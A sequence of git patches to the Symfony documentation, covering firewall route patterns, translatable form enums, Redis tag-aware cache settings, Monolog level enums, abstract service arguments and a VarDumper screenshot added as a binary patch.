 
+.. tip::
+
+    Instead of creating one long regex to match all routes you want, you're
+    also able to use an array of simpler regexes to match routes:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/security.yaml
+            security:
+                # ...
+                firewalls:
+                    dev:
+                        pattern:
+                            - ^/_profiler/
+                            - ^/_wdt/
+                            - ^/css/
+                            - ^/images/
+                            - ^/js/
+            # ...
+
+        .. code-block:: php
+
+            // config/packages/security.php
+            use Symfony\Config\SecurityConfig;
+
+            return static function (SecurityConfig $security): void {
+                // ...
+                $security->firewall('dev')
+                    ->pattern([
+                        '^/_profiler/',
+                        '^/_wdt/',
+                        '^/css/',
+                        '^/images/',
+                        '^/js/',
+                    ])
+                    ->security(false)
+                ;
+
+                // ...
+            };
+
+    This feature is not supported by the XML configuration format.
+
+    .. versionadded:: 6.4
+
+        The possibility to use an array of regex was introduced in Symfony 6.4.
+
 All *real* URLs are handled by the ``main`` firewall (no ``pattern`` key means
 it matches *all* URLs). A firewall can have many modes of authentication,
 in other words, it enables many ways to ask the question "Who are you?".

From f5a899eb1b04c8b28845f7d82938d5dcd753e31a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 27 Jul 2023 13:34:42 +0200
Subject: [PATCH 4921/7107] [FrameworkBundle] Fix merging typos

---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0ecfaa185d9..83fedf2d460 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1,4 +1,4 @@
-nsl.. _framework-bundle-configuration:
+.. _framework-bundle-configuration:
 
 Framework Configuration Reference (FrameworkBundle)
 ===================================================
@@ -25,7 +25,7 @@ Configuration
 -------------
 
 .. _configuration-framework-secret:
-a
+
 secret
 ~~~~~~
 

From 5f59527498fd55bcade1b0d9d8186e403d7b9ab7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?S=C3=A9bastien=20Alfaiate?= <s.alfaiate@webarea.fr>
Date: Sun, 23 Jul 2023 23:21:10 +0700
Subject: [PATCH 4922/7107] [Form] Support Translatable Enum

---
 reference/forms/types/enum.rst | 41 +++++++++++++++++++++++++---------
 1 file changed, 31 insertions(+), 10 deletions(-)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 813a5fffbf5..76ac77a75f4 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -51,17 +51,38 @@ these values as ``<input type="checkbox">`` or ``<input type="radio">``.
 
 The label displayed in the ``<option>`` elements of the ``<select>`` is the enum
 name. PHP defines some strict rules for these names (e.g. they can't contain
-dots or spaces). If you need more flexibility for these labels, use the
-``choice_label`` option and define a function that returns the custom label::
+dots or spaces). If you need more flexibility for these labels, your enum can
+implement ``TranslatableInterface`` to translate or display custom labels::
 
-    ->add('textAlign', EnumType::class, [
-        'class' => TextAlign::class,
-        'choice_label' => fn ($choice) => match ($choice) {
-            TextAlign::Left => 'text_align.left.label',
-            TextAlign::Center => 'text_align.center.label',
-            TextAlign::Right  => 'text_align.right.label',
-        },
-    ]);
+    // src/Config/TextAlign.php
+    namespace App\Config;
+
+    use Symfony\Contracts\Translation\TranslatableInterface;
+    use Symfony\Contracts\Translation\TranslatorInterface;
+
+    enum TextAlign: string implements TranslatableInterface
+    {
+        case Left = 'Left aligned';
+        case Center = 'Center aligned';
+        case Right = 'Right aligned';
+
+        public function trans(TranslatorInterface $translator, string $locale = null): string
+        {
+            // Translate enum from name (Left, Center or Right)
+            return $translator->trans($this->name, locale: $locale);
+
+            // Translate enum using custom labels
+            return match ($this) {
+                self::Left  => $translator->trans('text_align.left.label', locale: $locale),
+                self::Center => $translator->trans('text_align.center.label', locale: $locale),
+                self::Right  => $translator->trans('text_align.right.label', locale: $locale),
+            };
+        }
+    }
+
+.. versionadded:: 6.4
+
+    Support for ``TranslatableInterface`` was introduced in Symfony 6.4.
 
 Field Options
 -------------

From 27ef0bee03b2456623c547eb634e661055e04fd9 Mon Sep 17 00:00:00 2001
From: Cyanat <65961341+Cyanat@users.noreply.github.com>
Date: Wed, 26 Jul 2023 11:44:29 +0200
Subject: [PATCH 4923/7107] Update redis_adapter.rst

Using RedisTagAwareAdapter, Redis maxmemory-policy has to be "noeviction" or "volatile-*"
---
 components/cache/adapters/redis_adapter.rst | 28 ++++++++++++---------
 1 file changed, 16 insertions(+), 12 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index a7530e6d3f0..6f74b53dc63 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -220,19 +220,8 @@ Available Options
 
 .. _redis-tag-aware-adapter:
 
-Working with Tags
------------------
-
-In order to use tag-based invalidation, you can wrap your adapter in :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`, but when Redis is used as backend, it's often more interesting to use the dedicated :class:`Symfony\\Component\\Cache\\Adapter\\RedisTagAwareAdapter`. Since tag invalidation logic is implemented in Redis itself, this adapter offers better performance when using tag-based invalidation::
-
-    use Symfony\Component\Cache\Adapter\RedisAdapter;
-    use Symfony\Component\Cache\Adapter\RedisTagAwareAdapter;
-
-    $client = RedisAdapter::createConnection('redis://localhost');
-    $cache = new RedisTagAwareAdapter($client);
-
 Configuring Redis
-~~~~~~~~~~~~~~~~~
+-----------------
 
 When using Redis as cache, you should configure the ``maxmemory`` and ``maxmemory-policy``
 settings. By setting ``maxmemory``, you limit how much memory Redis is allowed to consume.
@@ -247,6 +236,21 @@ try to add data when no memory is available. An example setting could look as fo
     maxmemory 100mb
     maxmemory-policy allkeys-lru
 
+Working with Tags
+-----------------
+
+In order to use tag-based invalidation, you can wrap your adapter in :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`, but when Redis is used as backend, it's often more interesting to use the dedicated :class:`Symfony\\Component\\Cache\\Adapter\\RedisTagAwareAdapter`. Since tag invalidation logic is implemented in Redis itself, this adapter offers better performance when using tag-based invalidation::
+
+    use Symfony\Component\Cache\Adapter\RedisAdapter;
+    use Symfony\Component\Cache\Adapter\RedisTagAwareAdapter;
+
+    $client = RedisAdapter::createConnection('redis://localhost');
+    $cache = new RedisTagAwareAdapter($client);
+
+.. note::
+
+    When using RedisTagAwareAdapter, in order to maintain relationships between tags and cache items, you have to use either ``noeviction`` or ``volatile-*`` in the Redis ``maxmemory-policy`` eviction policy.
+
 Read more about this topic in the official `Redis LRU Cache Documentation`_.
 
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name

From 6504d352f92f3b8755e66daddbaa52f309c44ce7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 Jul 2023 09:27:51 +0200
Subject: [PATCH 4924/7107] Minor tweaks

---
 components/cache/adapters/redis_adapter.rst | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 6f74b53dc63..bd8314a231e 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -239,7 +239,12 @@ try to add data when no memory is available. An example setting could look as fo
 Working with Tags
 -----------------
 
-In order to use tag-based invalidation, you can wrap your adapter in :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`, but when Redis is used as backend, it's often more interesting to use the dedicated :class:`Symfony\\Component\\Cache\\Adapter\\RedisTagAwareAdapter`. Since tag invalidation logic is implemented in Redis itself, this adapter offers better performance when using tag-based invalidation::
+In order to use tag-based invalidation, you can wrap your adapter in
+:class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`. However, when Redis
+is used as backend, it's often more interesting to use the dedicated
+:class:`Symfony\\Component\\Cache\\Adapter\\RedisTagAwareAdapter`. Since tag
+invalidation logic is implemented in Redis itself, this adapter offers better
+performance when using tag-based invalidation::
 
     use Symfony\Component\Cache\Adapter\RedisAdapter;
     use Symfony\Component\Cache\Adapter\RedisTagAwareAdapter;
@@ -249,7 +254,9 @@ In order to use tag-based invalidation, you can wrap your adapter in :class:`Sym
 
 .. note::
 
-    When using RedisTagAwareAdapter, in order to maintain relationships between tags and cache items, you have to use either ``noeviction`` or ``volatile-*`` in the Redis ``maxmemory-policy`` eviction policy.
+    When using RedisTagAwareAdapter, in order to maintain relationships between
+    tags and cache items, you have to use either ``noeviction`` or ``volatile-*``
+    in the Redis ``maxmemory-policy`` eviction policy.
 
 Read more about this topic in the official `Redis LRU Cache Documentation`_.
 

From e3edb9c2c821de2958d61d7b96eac0cc622e5c82 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 Jul 2023 09:53:14 +0200
Subject: [PATCH 4925/7107] Fix some internal references

---
 components/cache/cache_pools.rst      | 4 ++--
 doctrine/multiple_entity_managers.rst | 2 +-
 http_client.rst                       | 2 +-
 reference/configuration/framework.rst | 2 --
 4 files changed, 4 insertions(+), 6 deletions(-)

diff --git a/components/cache/cache_pools.rst b/components/cache/cache_pools.rst
index 8d05cd268d5..ac7cf945429 100644
--- a/components/cache/cache_pools.rst
+++ b/components/cache/cache_pools.rst
@@ -163,7 +163,7 @@ when all items are successfully deleted)::
 
     If the cache component is used inside a Symfony application, you can remove
     items from cache pools using the following commands (which reside within
-    the :ref:`framework bundle <framework-bundle-configuration>`):
+    the :doc:`framework bundle </reference/configuration/framework>`):
 
     To remove *one specific item* from the *given pool*:
 
@@ -242,7 +242,7 @@ silently ignored)::
 
     If the cache component is used inside a Symfony application, you can prune
     *all items* from *all pools* using the following command (which resides within
-    the :ref:`framework bundle <framework-bundle-configuration>`):
+    the :doc:`framework bundle </reference/configuration/framework>`):
 
     .. code-block:: terminal
 
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 081239bcd9f..34a33b22cac 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -222,7 +222,7 @@ the default entity manager (i.e. ``default``) is returned::
     }
 
 Entity managers also benefit from :ref:`autowiring aliases <service-autowiring-alias>`
-when the :ref:`framework bundle <framework-bundle-configuration>` is used. For
+when the :doc:`framework bundle </reference/configuration/framework>` is used. For
 example, to inject the ``customer`` entity manager, type-hint your method with
 ``EntityManagerInterface $customerEntityManager``.
 
diff --git a/http_client.rst b/http_client.rst
index d63648b40cb..399199f0557 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1396,7 +1396,7 @@ The component is interoperable with four different abstractions for HTTP
 clients: `Symfony Contracts`_, `PSR-18`_, `HTTPlug`_ v1/v2 and native PHP streams.
 If your application uses libraries that need any of them, the component is compatible
 with all of them. They also benefit from :ref:`autowiring aliases <service-autowiring-alias>`
-when the :ref:`framework bundle <framework-bundle-configuration>` is used.
+when the :doc:`framework bundle </reference/configuration/framework>` is used.
 
 If you are writing or maintaining a library that makes HTTP requests, you can
 decouple it from any specific HTTP client implementations by coding against
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index e3b37df3f13..824e30d9f63 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1,5 +1,3 @@
-.. _framework-bundle-configuration:
-
 Framework Configuration Reference (FrameworkBundle)
 ===================================================
 

From 1b6d724554fd963ba1a38fccb4f2ee7b8c888654 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 28 Jul 2023 10:39:49 +0200
Subject: [PATCH 4926/7107] [MonologBridge] Remove support for monolog < 3.0

---
 logging/handlers.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/logging/handlers.rst b/logging/handlers.rst
index d44e3ab18a3..47bfb0f2aee 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -32,7 +32,7 @@ To use it, declare it as a service:
                     $endpoint: "http://127.0.0.1:9200"
                     $index: "monolog"
                     $client: null
-                    $level: !php/const Monolog\Logger::DEBUG
+                    $level: !php/enum Monolog\Level::Debug
                     $bubble: true
                     $elasticsearchVersion: '1.0.0'
 
@@ -56,7 +56,7 @@ To use it, declare it as a service:
                     <argument key="endpoint">http://127.0.0.1:9200</argument>
                     <argument key="index">monolog</argument>
                     <argument key="client"/>
-                    <argument key="level" type="constant">Monolog\Logger::DEBUG</argument>
+                    <argument key="level" type="enum">Monolog\Level::Debug</argument>
                     <argument key="bubble">true</argument>
                     <argument key="elasticsearchVersion">1.0.0</argument>
                 </service>
@@ -66,7 +66,7 @@ To use it, declare it as a service:
     .. code-block:: php
 
         // config/services.php
-        use Monolog\Logger;
+        use Monolog\Level;
         use Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler;
 
         $container->register(ElasticsearchLogstashHandler::class);
@@ -77,7 +77,7 @@ To use it, declare it as a service:
                 '$endpoint' => "http://127.0.0.1:9200",
                 '$index' => "monolog",
                 '$client' => null,
-                '$level' => Logger::DEBUG,
+                '$level' => Level::Debug,
                 '$bubble' => true,
                 '$elasticsearchVersion' => '1.0.0',
             )

From 01255340c950b96c4b35ae0cf4b83154b8580def Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 28 Jul 2023 11:49:12 +0200
Subject: [PATCH 4927/7107] fix syntax

---
 logging/handlers.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/logging/handlers.rst b/logging/handlers.rst
index 14a3a36518c..8e70b6a0861 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -73,14 +73,14 @@ To use it, declare it as a service:
 
         // optionally, configure the handler using the constructor arguments (shown values are default)
         $container->register(ElasticsearchLogstashHandler::class)
-            ->setArguments(
+            ->setArguments([
                 '$endpoint' => "http://127.0.0.1:9200",
                 '$index' => "monolog",
                 '$client' => null,
                 '$level' => Logger::DEBUG,
                 '$bubble' => true,
                 '$elasticsearchVersion' => '1.0.0',
-            )
+            ])
         ;
 
 .. versionadded:: 5.4

From 60ca23d862c3f9b4e5eb456d5626947f796fb684 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 29 Jul 2023 16:36:03 +0200
Subject: [PATCH 4928/7107] [FrameworkBundle] Simplify marking store
 configuration

---
 workflow.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index 95aaa90f972..b97cb08c1c3 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -167,6 +167,11 @@ follows:
     ``'draft'`` or ``!php/const App\Entity\BlogPost::TRANSITION_TO_REVIEW``
     instead of ``'to_review'``.
 
+.. versionadded:: 6.4
+
+    Since Symfony 6.4, the ``type`` option under ``marking_store`` can be
+    omitted when the ``property`` option is explicitly set.
+
 The configured property will be used via its implemented getter/setter methods by the marking store::
 
     // src/Entity/BlogPost.php

From 7c408b9e20724d319c27d9e2dd0ca09f3b2004bd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20CROMBEZ?=
 <777666+jcrombez@users.noreply.github.com>
Date: Sat, 29 Jul 2023 19:04:31 +0200
Subject: [PATCH 4929/7107] Webpack encore requires Sass v13 instead of v12

---
 frontend/encore/simple-example.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 3c4ee28af55..6303419a09b 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -428,7 +428,7 @@ Encore. When you do, you'll see an error!
 .. code-block:: terminal
 
     >   Error: Install sass-loader & sass to use enableSassLoader()
-    >     yarn add sass-loader@^12.0.0 sass --dev
+    >     yarn add sass-loader@^13.0.0 sass --dev
 
 Encore supports many features. But, instead of forcing all of them on you, when
 you need a feature, Encore will tell you what you need to install. Run:
@@ -436,11 +436,11 @@ you need a feature, Encore will tell you what you need to install. Run:
 .. code-block:: terminal
 
     # if you use the Yarn package manager
-    $ yarn add sass-loader@^12.0.0 sass --dev
+    $ yarn add sass-loader@^13.0.0 sass --dev
     $ yarn encore dev --watch
 
     # if you use the npm package manager
-    $ npm install sass-loader@^12.0.0 sass --save-dev
+    $ npm install sass-loader@^13.0.0 sass --save-dev
     $ npm run watch
 
 Your app now supports Sass. Encore also supports LESS and Stylus. See

From 783610c7b8c7fa641e19bb2433f4deea59df1540 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 29 Jul 2023 21:58:18 +0200
Subject: [PATCH 4930/7107] [DependencuInjection] Document abstract arguments

---
 service_container.rst | 66 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 66 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index 5c33d16e069..a4abf4ce2f7 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -840,6 +840,72 @@ argument for *any* service defined in this file! You can bind arguments by name
 The ``bind`` config can also be applied to specific services or when loading many
 services at once (i.e. :ref:`service-psr4-loader`).
 
+Abstract service arguments
+--------------------------
+
+Sometimes, when defining services in your Symfony applications, there are arguments
+that can't be added in config files. The reason is that their values can only be
+calculated at runtime in a :doc:`compiler pass </service_container/compiler_passes>`
+or :doc:`bundle extension </bundles/extension>`.
+
+If value is not replaced a ``RuntimeException`` would be thrown.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            App\Service\MyService:
+                arguments:
+                    $rootNamespace: !abstract 'should be defined by Pass'
+
+            # ...
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Service\MyService" class="App\Service\MyService">
+                    <argument key="$rootNamespace" type="abstract">should be defined by Pass</argument>
+                </service>
+
+                <!-- ... -->
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Service\MyService;
+        use Psr\Log\LoggerInterface;
+        use Symfony\Component\DependencyInjection\Definition;
+        use Symfony\Component\DependencyInjection\Reference;
+
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
+
+            $services->set(MyService::class)
+                ->arg('$rootNamespace', abstract_arg('should be defined by Pass'))
+            ;
+
+            // ...
+        };
+
+In this case, if you don't replace the value, ``RuntimeException`` will be thrown
+with message ``Argument "$rootNamespace" of service "App\Service\MyService" is
+abstract: should be defined by Pass.``
+
 .. _services-autowire:
 
 The autowire Option

From 546fc2f7b4e72f379e46bff52604aad7d355bc4d Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 29 Jul 2023 22:14:24 +0200
Subject: [PATCH 4931/7107] Remove some unused use

---
 components/event_dispatcher.rst      | 2 --
 configuration.rst                    | 4 +---
 frontend/custom_version_strategy.rst | 1 -
 service_container.rst                | 3 ---
 4 files changed, 1 insertion(+), 9 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 1e281c084b0..cc4367f8723 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -182,7 +182,6 @@ determine which instance is passed.
 
         use Symfony\Component\DependencyInjection\ContainerBuilder;
         use Symfony\Component\DependencyInjection\ParameterBag\ParameterBag;
-        use Symfony\Component\DependencyInjection\Reference;
         use Symfony\Component\EventDispatcher\DependencyInjection\RegisterListenersPass;
         use Symfony\Component\EventDispatcher\EventDispatcher;
 
@@ -213,7 +212,6 @@ determine which instance is passed.
         use Symfony\Component\DependencyInjection\Compiler\PassConfig;
         use Symfony\Component\DependencyInjection\ContainerBuilder;
         use Symfony\Component\DependencyInjection\ParameterBag\ParameterBag;
-        use Symfony\Component\DependencyInjection\Reference;
         use Symfony\Component\EventDispatcher\DependencyInjection\AddEventAliasesPass;
         use Symfony\Component\EventDispatcher\DependencyInjection\RegisterListenersPass;
         use Symfony\Component\EventDispatcher\EventDispatcher;
diff --git a/configuration.rst b/configuration.rst
index 85a7a23db35..f201fab29fb 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -846,7 +846,7 @@ In PHP >= 8, you can remove the two arguments when autoconfiguration is enabled
     # config/services.yaml
     services:
         Symfony\Component\Dotenv\Command\DotenvDumpCommand: ~
-        
+
 Then, run the command:
 
 .. code-block:: terminal
@@ -1064,8 +1064,6 @@ whenever a service/controller defines a ``$projectDir`` argument, use this:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use App\Controller\LuckyController;
-
         return static function (ContainerConfigurator $container) {
             $container->services()
                 ->defaults()
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index ae64738e2df..04a2d45f245 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -139,7 +139,6 @@ After creating the strategy PHP class, register it as a Symfony service.
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         use App\Asset\VersionStrategy\GulpBusterVersionStrategy;
-        use Symfony\Component\DependencyInjection\Definition;
 
         return function(ContainerConfigurator $container) {
             $services = $container->services();
diff --git a/service_container.rst b/service_container.rst
index 5c33d16e069..3f55a05d643 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -803,10 +803,7 @@ You can also use the ``bind`` keyword to bind specific arguments by name or type
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use App\Controller\LuckyController;
         use Psr\Log\LoggerInterface;
-        use Symfony\Component\DependencyInjection\Definition;
-        use Symfony\Component\DependencyInjection\Reference;
 
         return function(ContainerConfigurator $container) {
             $services = $container->services()

From d56acaf803e537bd15c078e06494ef237a4c6631 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 30 Jul 2023 15:59:42 +0200
Subject: [PATCH 4932/7107] [VarDumper] Display uninitialized vars info

---
 .../var_dumper/10-uninitialized.png           | Bin 0 -> 14749 bytes
 components/var_dumper.rst                     |  18 ++++++++++++++++++
 2 files changed, 18 insertions(+)
 create mode 100644 _images/components/var_dumper/10-uninitialized.png

diff --git a/_images/components/var_dumper/10-uninitialized.png b/_images/components/var_dumper/10-uninitialized.png
new file mode 100644
index 0000000000000000000000000000000000000000..735731b83b549324a5c69096781d5345ed6907d5
GIT binary patch
literal 14749
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
